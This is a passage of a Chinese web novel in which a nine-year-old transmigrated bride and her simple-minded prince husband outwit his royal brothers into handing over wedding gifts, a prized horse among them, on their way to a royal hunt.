谢元棠好笑地伸出小手,戳戳他的脸蛋道:“谁说你笨了,我夫君今天多帅啊!一点也不笨,超级厉害的!
“从来没有人这样夸过我,娘子你是第一个夸我的人。
听到谢元棠夸自己,司徒砚英俊的脸蛋瞬间飞起一片绯红,害羞地问:“我……我真的帅吗?真的厉害吗?
谢元棠看着眼前的小可怜,虽然年龄上他比她大九岁,可是在她心里,司徒砚才是那个需要她哄的小菜鸟。
不过好在是个漂亮的小菜鸟,比她那些丧尸好看多了!
谢元棠笑着点点头,认真道:“当然了,我骗过你吗?
“没有。
“那不就是了!
马车外,驾车的曲培听见里头传出的对话,嘴角笑容渐渐加深。
他想,有小皇妃在五皇子身边,皇上终于可以放心了。
马车一路上缓缓而行,谢元棠和司徒砚一时看看外面街上,一时讨论回府后吃什么。
正说话间,忽然一声惊马声传来!
整个马车蓦地剧烈晃动了一下,谢元棠整个人都控制不住地往前栽去。
往前栽的一瞬间,谢元棠心里满是懊恼,这副身体实在太弱,她根本就反应不及。
“娘子小心!
千钧一发之际,一只有力的手臂突然拉住她,将她整个人都圈在怀里。
“咚!
一声巨响,马车被迫停了下来。
马车外,一道张扬的男声传来:“哟呵!这不是五弟的马车么!
第17章 演到你心碎!
谢元棠整个人被司徒砚紧紧抱在怀里,没有受到一点伤。
反倒是司徒砚,因为惯性的缘故整个肩背硬生生撞上了车壁,闷哼一声才停下来。
就这,他停下来后第一反应不是去看自己的伤,而是低头紧张地问谢元棠:“娘子有没有磕着?”
一边问一边拉着她胳膊左右细看。
“我没事啦。”
谢元棠小脸紧皱着,担心地看向他的肩膀:“是不是磕到了?疼不疼?”
她刚才一瞬间感觉到他全身紧绷,那力道大得竟让她完全挣脱不得。
谢元棠爬起来,伸出细细小小的手指头戳了戳他肩膀,刚碰到,就听见司徒砚低声叫了一声。
果然磕到了。
谢元棠脸色不大好看,司徒砚看见,小声道:“就一点点疼,我能忍的。”
“忍什么忍?”
谢元棠有些生气,正想推开车门问问是怎么回事,就听见外面传来一道嚣张得欠收拾的声音。
“哟呵!这不是五弟的马车么!”
听见这道声音,司徒砚一下子紧张起来。
谢元棠看见他这样,对来人的身份已经有了些猜测。
与此同时,曲培敲了敲车门道:“殿下,皇子妃,可有伤着?”
“无事。”
谢元棠稚嫩的声音清晰地传出马车:“外头是哪个粗鲁无礼的家伙?公公快赶走他。”
骑在马上的司徒烨听见这话,眉头顿时皱了起来。
他旁边的虞龙顿时怒喝道:“哪来的不懂事的小丫头,不要命了是不是?”
“小公爷息怒,车里是我们五殿下和小皇妃。”
曲培说完,又隔着车门跟回谢元棠的话:“回小皇妃,咱们遇着四皇子和国公府小公爷了。”
说罢,他人已经下了车,跟司徒烨和虞龙见礼:“奴才给四殿下请安,见过小公爷。”
“免礼吧。”
司徒烨没看曲培,只盯着车门,讥笑道:“五弟,四哥好心来看你,你不预备出来见我吗?”
“五殿下别是怕了吧?”
虞龙大笑出声,跟手下道:“我听说五殿下去年还尿裤子呢,该不会这会儿已经在车里吓尿了吧?”
车里,谢元棠小
脸阴沉得都快滴出水来了。
她抬手就想推开车门只是手刚抬起来就被司徒砚给拦住了:“娘子不要。”
司徒砚脸色有点白明显很忌惮司徒烨:“不要出去四哥很凶他打人很疼的。”
他自己就算了但娘子这么小这么瘦四哥拳头那么大会打死她的。
谢元棠听到这话脸色更难看了:“他打过你?”
司徒砚一僵犹豫着小声道:“以前打后来……我躲着他他就不打了。”
谢元棠听到这话嘴角微抿抬手将车门打开。
司徒砚刚想拉她就听见谢元棠道:“夫君以前能躲以后也要带着我一起躲吗?躲了他还要躲谁?躲一辈子吗?”
司徒砚微怔。
谢元棠干脆利落地打开门回头朝司徒砚伸出手:“司徒砚不要怕不要躲堂堂正正地站出来。”
司徒砚愣愣地看着她伸在他面前的小手。
那只手多小啊估计还没他手的一半大好像他稍微一用力就能掰折了它。
可是却又如此有力量
谢元棠的声音不低不止司徒砚听见了司徒烨虞龙和曲培等人都听见了。
曲培眼神微闪略有深意地看了眼谢元棠。
司徒烨则眯着眼打量起那个小身影来。
谢元棠没下车而是拉着司徒砚一块儿坐在马车面前驾车的位子。
她小腿一曲一直明明身量极小脸上还有鞭痕但她却丝毫不在意似的坐在那里却自有一副潇洒无畏之态。
脑袋上的双髻被撞歪了一些俏皮又凌乱地歪扭着冒出几根不听话的发丝。
漆黑的大眼睛打量着司徒烨声音软软糯糯地说出的话却让司徒烨差点从马上掉下来。
“谢元棠见过四皇兄皇兄特意在我回门之日拦住马车难道是忽然长了良心想起还欠我和夫君一份份子钱特意来补上的吗?”
“份份子钱?”
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司徒烨愣了下连一旁的虞龙等人都呆住了。
他们所有人从没将这桩可笑的冲喜当成正经婚事看待哪会准备什么份子钱?
可刚才他们惊马拦车已经引起了周围百姓的注意这会
儿谢元棠声音又不低,惹得吃瓜群众一时间都朝司徒烨看了过来。
众目睽睽,司徒烨难道能说他不是来送钱的,是来找麻烦的吗?
司徒烨坐在马上,进退两难。
他愤愤地盯着谢元棠,咬牙暗骂,好个口齿伶俐的小丫头,他还是第一次被人道德绑架!
“咦?难道四皇兄不是来送份子钱的?
见司徒烨不答,谢元棠惊讶地捂住了嘴巴。
“难道,难道四皇兄刚才是故意撞我们的马车的吗?
“呜呜呜……四皇兄,是不是棠棠哪里做错了什么,四皇兄你说,棠棠改还不行吗呜呜呜……
九岁的小姑娘小手捂着嘴巴,大眼睛露出惊慌又恐怯的表情,凄哒哒地哭得又压抑又惹人心疼。
周围吃瓜的百姓顿时将目光都移向了司徒烨。
“瞧小皇妃多可怜啊,哎呀这么大的人怎么跟个小孩子计较?
“可不是,那么大的马撞过来,要不是小皇妃命大,这不死也得残了啊!
“啧啧,小皇妃真是命苦啊,在谢家被欺负成那样,给他们皇家冲喜救了五皇子,他们不感激不说,还这样欺负人。
议论声连连,虞龙不耐烦地吼了一句:“都给我闭嘴!
“嘶~
人群中有人倒吸了口凉气,小声道:“别说了别说了,这可是四皇子,他背后可是虞贵妃和国公府啊。
司徒烨听着这些声音,沉了脸盯着谢元棠:“弟妹不要信口雌黄,本宫何时故意惊马了?方才不过是意外而已。
“那……
谢元棠捂着小脸的手指从中间分开,露出黑葡萄似的大眼睛:“那这么说,四皇兄当真是来送份子钱的了?
司徒烨:“……
所以,他要不就担了恶名,要不就乖乖送钱?
第18章 她就是救了五弟的谢元棠?
“臭丫头你别胡扯!”
虞龙指着谢元棠就骂:“我们才不是来给你送钱的!”
“那是来故意撞我们马车的?”谢元棠歪着头问。
虞龙:“……”
司徒烨没好气地瞪了眼虞龙道:“还不给我闭嘴。”
谢元棠眨眨眼,看看虞龙,又看看司徒烨:“四皇兄,两个可能,你总得选一样吧?”
司徒烨深吸口气,他第一次觉得如此憋屈。
但当着这么多百姓的面,他偏偏真的丢不起这脸!
“我当然是……来送份子钱的。”
说最后几个字的时候,谢元棠都能感觉到他的咬牙切齿。
但那就对了!
敌人越憋屈,她就越高兴!
谢元棠拉着司徒砚的手道:“夫君,还不快谢谢四皇兄,他可是第一个给咱们送份子钱的人呢!”
司徒砚乖乖点头:“谢谢四哥。”
曲培忽地一抖:“……”
小皇妃这张嘴啊,是真不吃亏。
第一个送份子钱的人……
这不是明着说其他皇室宗亲,大小臣子都没表示吗?
这这这……
只怕今天过后,不知道多少人会上赶着给五皇子府补送份子钱!
只要想到那个场面,再想想宫里头那几位不好惹的,曲培就觉得五皇子府的安静日子怕是过到头了。
不过……
曲培又看了看正乖乖往外掏份子钱的司徒烨,又觉得有古灵精怪的小皇妃在,指不定今后吃瘪的会是谁呢!
另一边不止曲培听懂了谢元棠的意思,除了司徒砚,在场的所有人都听懂了。
本来还不高兴的司徒烨忽的一怔,心情莫名就舒畅起来!
他是第一个!
哈哈!
一想到日后几个皇兄和皇姐都要咬牙切齿地往外掏钱,司徒烨就觉得……嗯,这钱掏的值!
与此同时,周围人再次议论起来。
“原来那些皇子公主全都没给份子钱啊!”
“啧,怎么皇室的人都这么抠吗?亲弟弟成亲都不表示,还不如我们庄稼汉呢!”
“估计他们都看不起五皇子呢,唉,五皇子和小皇妃好可怜啊。”
“可不是
嘛!那些人真是欺人太甚了!
听到这些议论声,司徒烨就觉得,不行,他得想办法让那几个家伙大出血!
不能就他一个人倒霉不是!
想到这里,原本只打算送个玉佩敷衍的司徒烨顿了顿,改为掏出了随身带着的一沓银票。
少说也有五千两。
唔……
司徒烨想了想,好像还是不够多。
左右看看,司徒烨灵光一闪,跳下马道:“本宫说了不是来找事儿的,本宫本来就是来……送马的。
“送马?
这下不止谢元棠惊呆,连虞龙都呆住了。
别人不知道,他可知道,司徒烨的马乃是十大宝马中的乌骓,是他们千辛万苦才从马商那里得来的,今儿才第一次骑出城。
结果他转眼就……送人了?
司徒烨却想的是,他宝马多的是,可能让太子和二皇兄大出血,他就觉得爽快!
司徒烨挑衅地看着司徒砚和谢元棠:“不过我这乌骓马可不是谁能能骑的,我愿意送给你们,但你们也要有本事驯服才行。
“好说。
谢元棠目光在那乌骓马上扫了一眼,眼睛就亮了,拉着司徒砚就道:“夫君,我们骑马去。
司徒砚刚想说自己不会,就看见谢元棠朝他眨了眨眼睛,于是抿了抿唇没说话。
两人从车上换到马上,曲培很是担心地看着两人:“殿下,皇子妃,要不还是回府再试?
“不用。
谢元棠小手一挥,趁着没人注意,一枚银针悄无声息地刺入乌骓马脖子上。
下一瞬,乌骓马忽然开始嘶鸣,前腿腾空而起。
“娘子小心!
司徒砚就坐在谢元棠身后,见状连忙抱紧她,一手本能地勒紧缰绳。
同时双腿用力一夹马肚子,迫使乌骓马安静了下来。
旁边的司徒烨本来在看戏,但看见这一幕却微微怔了怔。
那个傻子……怎么会如此娴熟的控马术?
“吁~
谢元棠拉紧绳子,看着乖乖臣服的乌骓马,甜甜地一笑,拍拍它的马头道:“马儿真乖,以后就给你起名叫小乖吧。
司徒烨和虞龙同时脚下一滑。
一想到他重金买来的宝马以后要叫“小乖这种名字,司徒烨就觉得心都在滴血。
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“多谢四皇兄送我们小乖。谢元棠坐在马上,朝司徒烨笑笑。
司徒烨却笑不出来,他一是没想到两人真能降服乌骓马,二是方才司徒砚控马的那一幕让他起了疑心。
目光沉了沉,司徒烨忽然道:“五弟和弟妹真要谢我的话,后日围猎就记得参加,别辜负了如此宝马。
“围猎?
谢元棠愣了下,司徒砚微蹙眉头:“可是……
“怎么,五弟不想去?
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司徒烨唇角带着挑衅的弧度:“还是不敢去?
虞龙在一旁冷哼道:“五殿下不敢也是正常的,毕竟你从来没有参加过,怕是看见兔子都能吓趴了吧!
司徒砚低着头,下意识去看谢元棠。
谢元棠也在看他,这一次,她没有自作主张,而是微笑地仰头看着他:“夫君想去,我们就去,不想去,我们就不去。
司徒砚愣了下:“我决定?
谢元棠点头:“嗯,夫君决定。
她黑亮的眼眸中没有冷嘲热讽,没有看不起他,只有鼓励。
仿佛不管他做出什么决定都是正常的。
司徒砚沉默片刻,缓缓深吸口气,转头目光一眨不眨地直视着司徒烨:“四哥放心,后日围猎,我会去的。
他这话一出,曲培顿时又惊又喜,谢元棠则是缓缓笑了。
司徒烨目光微闪,沉声道:“好啊,那就后日围猎场见,五弟可别迟到。
说罢,飞身骑上手下的马,打马离开。
虞龙瞪了眼司徒砚和谢元棠,冷哼一声才率人跟上。
他们一走,谢元棠便叫曲培:“公公坐车,我和夫君骑马回府。
“殿下和皇子妃当心啊。曲培不放心地叮嘱。
谢元棠朝他挥挥手,跟司徒砚骑马慢悠悠往回走。
一人高的大马上,谢元棠小小的身子被司徒砚遮住大半,两人一高一低,一大一小。
明明哪哪都不合适,却又偏偏奇异的和谐。
二楼某间靠窗的茶座。
一道幽深的目光久久凝视着那两道走远的身影,半晌,忽然低喃出声。
“她就是冲喜救了五弟的谢元棠?
第19章 您现在……是殿下吗?
回到皇子府后,谢元棠跟司徒砚还舍不得小乖,硬是在马厩待到傍晚时分,曲培第三次来喊两人吃饭,两人才依依不舍地离开。
“小乖,明天我再来找你玩哦~”
看着两个主子这般小孩心性,曲培好笑地摇了摇头,继而又有些担忧地叹了口气。
两个小主子如此单纯,如今是圣恩眷顾,日子还好过些,往后可怎么办呢?
晚饭过后,曲培才提出要回宫的事情。
谢元棠也没多意外,毕竟曲培的任务是帮他们料理皇子府中的下人,如今早已整顿妥当,再加上今日回门发生的事情,还有街上遭遇司徒烨的事,只怕他都是要向司徒擎禀报的。
谢元棠眨眨眼,问曲培:“公公,后日的围猎父皇会去吗?”
曲培以为她担心会被司徒烨找麻烦,就点点头安慰两人:“小皇妃不必担心,圣上重武,每一季的皇家围猎都会亲自去的。”
谢元棠看了眼司徒砚,眼珠子转了转,小脸上露出些许胆怯:“那我和夫君直接去没有关系吗?毕竟父皇没有叫我们去。”
“这……应该没事的。”
曲培也看了眼司徒砚,知道俩小主子不懂这些,就解释得详细些:“皇家围猎不止皇室可以参加,四品以上文武官员及其家眷,不论男女都可参加,往常……圣上担心五殿下去了不习惯,才没有特意叫上他。”
他这话说得还是委婉了,实际上,整个玄昭国几乎都已经忘了这位五皇子,默认他什么宴会和活动都不会去。
谢元棠知道他们可以去猎场后就松了口气,她没办法改变过去,但今后……她想要在这里生存下去,就必须主动融入这里的生存法则。
第一步便是让所有人知道她谢元棠的存在,知道五皇子府从此变了,不再是谁都可以欺负的存在!
亲自送曲培离开后,谢元棠又找来白芙和红蕖两人,问起司徒烨和虞家的事情来。
红蕖性子直率,也不会想那么多,自打知道那匹乌骓马是怎么来的以后,她就直夸谢元棠厉害。
“宫里那几位爷,除了太子殿下外,最难相处的就是四皇子了,谁都不敢得罪他,皇子妃您竟然能让他把乌骓马送给您,真是太厉害了!”
谢元棠对宫里的事情不了解,就问
:“为什么谁都不敢得罪他?
红蕖愣了下:“您不知道吗?四皇子的母妃可是虞贵妃啊!
谢元棠眨眨眼:“谁啊?没听过。
红蕖:“……
他们这位小皇妃到底是哪个山沟沟里出来的!
一旁的白芙听见谢元棠这么说,心里更担忧了,微蹙眉心道:“虞贵妃深受荣宠,更是生下四皇子和三公主,而且虞贵妃母族是虞国公府。
"虞国公年轻时曾征战西南,手握百万大军,是皇上最倚仗的武官,如今虞世子还是西南督抚,官至三品。
顿了顿,白芙看着谢元棠道:“今日殿下和皇子妃遇见的虞龙,就是虞世子的长子,虞家嫡系长孙,在外大家都叫他小公爷。
谢元棠听完白芙的解释,小手托着腮思索片刻,得出结论:
“也就是说司徒烨后台很硬,不好惹?
白芙和红蕖同时点头。
谢元棠看了眼司徒砚,又问白芙:“那跟言家比如何?夫君可是有个太傅舅舅呢,虽然一文一武,但也不能差那么多吧?
“这……
白芙犹豫着,小心瞄了眼司徒砚,没说话。
倒是司徒砚想了想,老实道:“娘子,舅舅……以前没管过我的。
除了给他两个随侍外,这么多年言家几乎没有在司徒砚的生活中出现过。
谢元棠惊了:“可是上回在宫里,他明明很帮我们的啊。
司徒砚摇摇头:“我不知道,但我很久没见过他了。
白芙这会儿才开口,意味深长地说了句:“言太傅人品高洁,言家其他人又不涉官场,只怕他们并不清楚殿下的难处。
或者说即使知道了,也不一定会插手。
谢元棠听懂后便沉默了。
她一直知道司徒砚处境艰难,却没想到艰难至此。
每个皇子背后都牵扯极深,唯有他,爹不疼娘不爱
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,傻乎乎的被人欺负了也不会还手。
谢元棠叹了口气,转头看着正眼巴巴看着她的傻夫君,小手戳戳他的脸颊道:“小可怜啊。
司徒砚歪了歪脑袋,眼神清澈单纯:“娘子是在说小乖吗?
“噗~
谢元棠被他这话逗笑,点点头
道:“嗯嗯是在说小乖它一个人在马厩太可怜了明天我们带它出去玩好不好?”
“好啊去哪里?”
司徒砚兴奋地问。
谢元棠想了想道:“就去找言墨吧你不是说他受伤了?我们明天去看看他。”
“好啊!”
司徒砚点了点头嘴角刚扬起一个笑容又塌着肩膀道:“以前杜韦打我言墨总是帮我挡他的伤就越来越重我才不让他住这里的。”
有杜韦那些刁奴在言墨只要留在皇子府中只怕伤永远也好不了。
谢元棠明白于是道:“没关系明日我们带着马车去把他接回来。”
反正如今皇子府中他们说了算再不会有刁奴生事了。
“嗯。”
——
次日。
谢元棠跟司徒砚驾着马车到了言墨的住处。
谢元棠之前以为言墨就算是个下人住的地方至少也能遮瓦避雨却不想到了以后看见的竟是一间随时都有可能倒塌的茅草房。
“这……”
谢元棠震惊了转头看向司徒砚却发现他也满是震惊。
合着他不知道言墨住在这儿?
两人刚走进去就看见一个拄着拐杖的年轻男子从屋子里走了出来。
他手里拿着木瓢应该是要去盛水。
“言墨!”
司徒砚出声站在那里有些无措的不知道进还是退。
言墨看见司徒砚眼中满是惊讶随后眼眶便红了:“殿下……”
言墨扔开木瓢拄着拐踉跄走过来就要给司徒砚行礼被司徒砚拦住了:“你别跪你的腿你的腿……”
“言墨没事殿下您怎么来了?”
言墨顿了顿
“您您现在……是殿下吗?”
第20章 他还有不是殿下的时候!
他话音刚落,忽然看见一个扎着双髻的小脑袋从司徒砚身后探出来。
言墨吓得倒吸了口凉气,瞬间后退了两步。
要不是司徒砚扶着他,这会儿只怕已经跌地上了。
“你,你……”
言墨惊讶地看着谢元棠。
谢元棠也在打量他,那双黑琉璃般的眸子眨了眨,长睫呼扇呼扇的,可爱又机警。
“什么叫他现在是殿下吗?”
谢元棠歪了歪脑袋,脆生生地问:“他不是殿下还能是谁?”
站着的司徒砚也满是狐疑地看着言墨,鹦鹉学舌似的跟着问:“对啊,我不是殿下还能是谁?”
言墨:“……”
他镇定下来,看看司徒砚又看看谢元棠,目光停留在谢元棠身上两秒,忽然想起什么似的,睁大了眼道:“您是小皇妃?”
“对呀。”
谢元棠笑着朝他挥挥手:“初次见面,我叫谢元棠。听夫君说你受了伤,特意来看看你的。”
言墨一怔,低着头恭敬道:“言墨多谢殿下,多谢皇子妃。”
谢元棠笑嘻嘻地看着他:“你还没说呢,什么叫他现在是殿下?难道他还有不是殿下的时候?”
言墨顿时一噎,怎么这小皇妃如此敏锐?
他不过是说了一句话,她竟然就察觉了?
“不,不是……”
言墨结巴着解释:“属下只是担心殿下的身体状况。”
谢元棠还听懂,倒是司徒砚恍然道:“啊,我知道了,你是担心我发病是吗?放心吧,我很好的。”
谢元棠眨眨眼,反应过来了。
合着他是怕司徒砚现在神志不清醒?
这似乎也能解释的通,但……
谢元棠就觉得哪里怪怪的。
她看着言墨,司徒砚对他很是愧疚,皱着眉头看着他的腿道:“都是我不好,才让你伤成这样的。”
言墨连忙道:“殿下不必难过,属下已经没事了。”
谢元棠看看两人,又看看周围:“你就住这里啊?”
言墨微怔,点头道:“是。”
谢元棠指指他的屋子:“我能进去看看吗?”
言墨看了眼司徒砚,犹豫着道:“只怕……里面太
脏
“污不了污不了。”
谢元棠摆摆手不在意一边已经走了过去司徒砚和言墨跟在他身后。
言墨还在小声问着司徒砚的状况:“殿下当真无事了?真的……是小皇妃冲喜将您救回来的?”
“嗯是娘子救的!”
提及谢元棠的时候司徒砚眼里都是笑意:“娘子对我可好了还帮我打杜韦。”
言墨显然听说了一些事眼下听到司徒砚这样说难免还是有些惊讶:“这么说那些传闻竟是真的……那皇上和太傅……真的没有怪您?”
“没有啊父皇和舅舅还帮我了呢。”司徒砚扶着他道“你跟我回去吧我给你请大夫府里现在没有人会打人了。”
“啊!四皇兄还送了我小乖!”
司徒砚指着门口那匹乌骓马:“明天我和娘子还要去围猎呢!下次等你伤好了你跟我们一块儿去。”
言墨看着司徒砚听着他这么说眼眶渐渐湿了。
他跟着司徒砚多年比任何人都了解他。
因为从小痴傻司徒砚受了不少欺负也不愿跟人交流在人前更多是唯唯诺诺的样子。
可现在的司徒砚虽然还是会说些单纯笨拙的话虽然还是跟不上其他人的思维方式但他已经敢出门敢站在人前说话。
这在以前十多年里是想也不敢想的事除了那位出现时才……
“这里就你一个人住吗?”
泉水般清灵的声音忽然打断言墨的念头他忽地一滞看向屋子里。
谢元棠正站在桌前好奇地看着他。
那双大眼睛好像什么都没有却又无端的让人觉得似乎能轻易被看透一切。
言墨下意识点点头:“是我一人住。”
“哦~”
谢元棠点了点头指指角落里的酒瓶声音乖巧又可爱“喝酒伤身你都病了少喝酒才是。”
言墨呼吸一滞连忙低头应道:“皇子妃教训的是言墨谨记。”
这个茅草
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屋实在是简陋得很简直可以和原主住的柴房相比了谢元棠他们索性也没停留直接让马车拉着言墨回府了她则和司徒砚骑着小乖一路溜达回去。
到了府中白芙
已经提前请来了大夫给言墨治伤。
好在只是骨折,大夫开了方子就离开了,谢元棠想了想,从空间研究所里拿出一只营养液,趁没人注意的时候倒在了茶壶里。
这瓶营养液起码能让他的伤势好一半。
她目前不能暴露太多,只能用这种方式,而且……
她总觉得言墨隐瞒了一些事。
那句“您现在是殿下吗”,总让她觉得不对劲。
第二天一早,谢元棠和司徒砚起了个大早。
他们今日要去围猎,不过在去之前,谢元棠还要准备些东西。
“红蕖,我的小包包呢?”
“在这里在这里!”
红蕖将一个斜挎的碎花小布包给谢元棠戴在身上。
谢元棠又飞快地跑进书房,抓了几样东西塞进小包里。
言墨将马车套在小乖身上,回头对两人道:“殿下,皇子妃,都准备好了。”
顿了顿,他还有些不放心:“殿下,要不属下还是跟着去吧?”
猎场那种地方,一听就知道安生不了,何况还有那么多等着“送份子钱”的人,言墨只怕他一个不跟着,回来以后他家殿下和皇子妃能被剥掉一层皮。
“不用不用,你在家里养伤吧。”
不等司徒砚回答,谢元棠就摆了摆手道:“白芙也留下看家,红蕖跟我们去就行了。”
他们就两个人,用不着那么多下人,再说都带去了,府里被人摸进来怎么办?
红蕖在言墨和白芙的双重压力下,郑重点点头道:“你们放心吧,我会保护好殿下和皇子妃的。”
白芙叹了口气,心说就是因为你跟着,她才更不放心了啊。
马车一路向着皇家围猎场出发。
谢元棠和司徒砚坐在车里,司徒砚紧张地握紧了拳头:“娘子,我们真的要把那个给父皇和舅舅吗?万一他们不喜欢怎么办?”
第21章 做嫂子的,不会跟你计较滴!
“不喜欢咱们就再带回家自己欣赏呗。”
谢元棠笑着拍拍腰侧的碎花小挎包:“夫君不要担心,我保证父皇和舅舅看见你送的礼物一定会开心的。”
“可是……”
司徒砚有些犹豫,他没自己送过礼,除了言墨和言枫,从来没有人会对着他笑,更别提喜欢他送的东西了。
看出司徒砚紧张的情绪,谢元棠想了想,拿司徒烨举例:“送礼重在心意,礼物贵重反倒是其次的,至于收礼的人喜不喜欢,那更是别人的事情,就像四皇兄送我们乌骓马的时候,也没问过我们喜不喜欢啊。”
司徒砚认真听着她的话,桃花眼一亮道:“娘子的意思是,不管父皇和舅舅开不开心,我都要送,因为这代表我自己,对吗?”
谢元棠笑着点点头,手指头戳戳他漂亮的侧脸:“夫君真聪明!”
司徒砚被夸得小脸微微泛红,憨笑着,心里那点紧张倒是渐渐消散了,转而跟谢元棠讨论起待会儿骑着小乖去哪儿玩的事情来。
见他已经没了先前的自卑,谢元棠心里悄悄松了口气,她可以帮他制造多一些的机会,可以教他慢慢成长,可以弥补他智力的不足,但是唯一代替不了他的姿态。
一个人可以能力不够,但决不能自卑怯懦,否则就算她做再多,皇室的人也不会真正将他们放在眼里。
快晌午的时候谢元棠他们才赶到。
皇家猎场周围自有重兵把守,见到司徒砚的时候都有些惊讶,没想到这位五皇子竟然会来。
谢元棠当没看见他们的眼神,只让红蕖将行李拿过去,她则和司徒砚先去见司徒擎。
只是去的路上,皇上没见着,倒是先遇着了个熟人——司徒烨。
“呦呵!这不是我五弟和五弟妹嘛!”
司徒烨正跟其他几人说话,看见谢元棠和司徒砚过来,顿时发出阴阳怪气地声音:“五弟还真来了啊,莫不是等不及,亲自来找其他几个兄弟姊妹要份子钱来了?”
边说,他边拍了拍身边锦衣少年的肩膀,对司徒烨道:“喏,巧了,老六,你还没给份子钱吧?”
“可得小心了,咱们这位五弟妹嘴巴可厉害得很呢!”
司徒煦挑了挑眉,轻蔑地斜了眼司徒砚,又扫了眼他身旁的谢
元棠,讥讽道:“就这么个豆芽菜?四哥,你什么时候改吃素了?
“一脚就能踩死的玩意儿,也值当你赔上乌骓马,切~
谢元棠看着这位六皇子,不得不说司徒家的基因都不错,十六岁的司徒煦长得倒是人模狗样的,只是那眉眼间若有若无的萦绕着一股阴鸷之气,微微下吊的眼尾更是显得乖张。
一看就是那种到处惹事的叛逆期。
“啧。
谢元棠撇撇嘴,嘟囔了声:“又是个刺儿头中二病!
她一点都不想跟这种人打交道,当下拉着司徒砚就要绕路走。
见两人完全不理他,司徒煦愣了下,反应过来后更怒了,大吼道:“喂!听不见我在跟你们说话吗?谁准你们走的!
谢元棠翻了个白眼,回头看他一眼:“听不见,我只是个豆芽菜嘛,豆芽菜可没长耳朵。
司徒煦:“……
“噗哈哈哈哈!
看着比自己还要无法无天的六弟吃瘪,司徒烨毫不客气大笑出声:“我就说了她嘴巴厉害得很吧!
司徒煦阴沉着脸,瞪着司徒砚:“五哥,她没听见,你也聋了吗?
“可是……
司徒砚皱了皱眉头,那双天下独一的桃花眼眨了眨,满是不解地看着他:“你刚才不是在跟四哥说话吗?
司徒煦:“……
司徒砚说完,大概是看出司徒煦脸色不好看,想了想又补充道:“六弟不要担心,我不要你份子钱了。
“我担心?
司徒煦声音都劈了,大步走过来:“我为什么要担心?你这话什么意思?说我给不起钱吗?
司徒砚有点犹豫,他还是不太敢跟他这几个兄弟对着干。
谢元棠倒是一点都没在怕的,直接说:“难道不是吗?你不想给我们份子钱,又说乌骓马太贵,不就是说你没钱吗?
“放心,我和夫君不是那种小气的人,你也算是我弟弟,做嫂子的,不会跟你计
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较滴!
她大度的挥挥小手。
偏偏她身高只到司徒煦腰间,小胳膊挥来挥去,更像是嘲讽了!
司徒煦倒吸口气,觉得胸腔都要炸了,低头盯着谢元棠,咬牙切齿地说:“你说什么?
他是弟弟?
她是嫂子?
司徒煦拳头捏得咔咔直响,狞笑道:“谢元棠,你胆子够大。”
还从没有人敢这样踩在他头上!
谢元棠歪着小脑袋,双髻上的铃铛步摇轻轻晃动,发出清脆的响声,像是听不出司徒煦的威胁似的,笑容灿烂道:“六弟不要难过,你还年轻,以后还能挣钱的,实在不行等你成亲,我和你五哥会接济你的。”
接济……
司徒煦被这个词刺激得彻底炸了,大吼道:“谁要接济!你以为老子是乞丐吗?”
“你吼什么?”
司徒砚皱紧眉头,将谢元棠拉到身后,不悦地看着他:“不许吼娘子,她是你嫂子!”
司徒煦:“……”扎心一刀!
一口闷血涌上喉咙,又被他硬生生咽下!
“司徒砚,趁我动手打你之前,你最好赶紧跑。”司徒煦恨恨地瞪着他。
司徒砚更疑惑了:“我本来就是要走的啊,是你叫住我的。”
司徒煦:“……”
司徒砚看着他开始发青的脸,好心劝道:“我们走了,你别生气了,娘子说生气伤身,严重会死人的。”
“你咒我死!”
说他穷,说他是弟弟,现在还咒他!
司徒煦觉得自己从来没有这么愤怒过!
“你们俩给我站住!”
司徒煦大步走到两人跟前,手都在颤抖。
颤抖着……
往外掏钱。
“谁说老子没钱?老子有的是钱!”
“不就是份子钱吗?给给给,都给你们!”
司徒煦先掏银票再拿玉佩,气急败坏得跟疯了一样,全扔谢元棠怀里。
“看好了!这玉佩是天山玉泉下的泉眼所产,全天下只有这么一块,比之乌骓马只贵不贱!”
第22章 拿她当棋子!
谢元棠笑容绚烂得堪比正午的太阳。
两只小手紧紧抱着一堆银票和玉佩,笑嘻嘻地道谢:“六弟真土豪!嫂子会保佑你长命百岁的。”
“不许叫我六弟!”
他才不要给一个九岁的女娃当弟弟!
司徒煦气得恨不得拧断她那细小的脖子,瞪着她道:“滚滚滚!我不想再见到你们俩!”
还有,他为什么要她保佑!
他本来就会长命百岁!
谢元棠拿到钱,二话不说拉着司徒砚就跑,好像生怕慢一步就会被司徒煦给要回去似的,气得司徒煦破口大骂。
旁边看戏的司徒烨全程憋笑吃瓜,这会儿才悠哉道:“怎么样,我就说五弟如今不同往日了吧。”
司徒煦没好气地冷哼一声,斜了他一眼道:“少在这里说风凉话,你不就想看那几个倒霉吗?”
没有了谢元棠和司徒砚在场,他脸上的愤怒和暴戾全都收敛了起来。
仿佛方才被气炸的不是他本人似的,目光深沉冷静,半点气恼都没有。
“难道六弟就不想看吗?”
司徒烨勾着唇角,摸了摸下巴道:“宫里许久没有这般热闹过了,也该有人搅一搅这摊浑水了。”
“我看,五弟和咱们这位小皇妃就是最合适的棋子,六弟觉得呢?”
司徒煦没说话,只是沉默片刻后,阴笑一声道:“那也得看他们的本事,那几位可没有一个是简单的。”
司徒烨做头,他垫局。
但也要看谢元棠有没有这个本事,能将上头那几位拉下马来!
“希望五弟妹不要让我失望,让这场围猎多点热闹看才好!”
——
等走出老远,司徒砚还对方才司徒煦的暴怒心有余悸,忍不住问:“娘子,六弟是疯了吗?”
不然怎么会忽然给他们那么多钱?
“可能吧。”
谢元棠将银票全放进碎花小挎包里,又将那枚玉佩翻过来倒过去的看看,眼珠子一转朝司徒砚招招手:“夫君低一点。”
“哦。”司徒砚乖乖弯腰,谢元棠将那枚温玉挂在他腰间,满意地拍了拍,“好东西就要亮出来,给所有人看到。”
最好,给其他没有送份子钱的人看见,她现在也
是穷得很,送钱上门这种事,多多益善!
不多时,继四皇子之后,六皇子大手笔送份子钱的事情,像雨后春笋一样传遍了整个皇家猎场。
上到皇帝妃子,下到官员侍卫,没有不知道的。
于是等谢元棠和司徒砚来给司徒擎请安的时候,就听见司徒擎似笑非笑地盯着司徒砚腰间的玉佩:“听说你们这两日收了不少份子钱?
司徒砚点点头:“四哥送了我们一匹乌骓马,六弟送了一块很好看的玉佩,还有好多钱……我不记得多少了。
他一脸单纯,跟司徒擎说话时也没了先前的胆怯,反而大方坦诚,尤其那双眼睛,赶紧得仿佛一丝杂质都没有。
司徒擎微微一笑,看着这个被他忽略许久的儿子,想起曲培说的那些话,眼中的笑意不由更深了些。
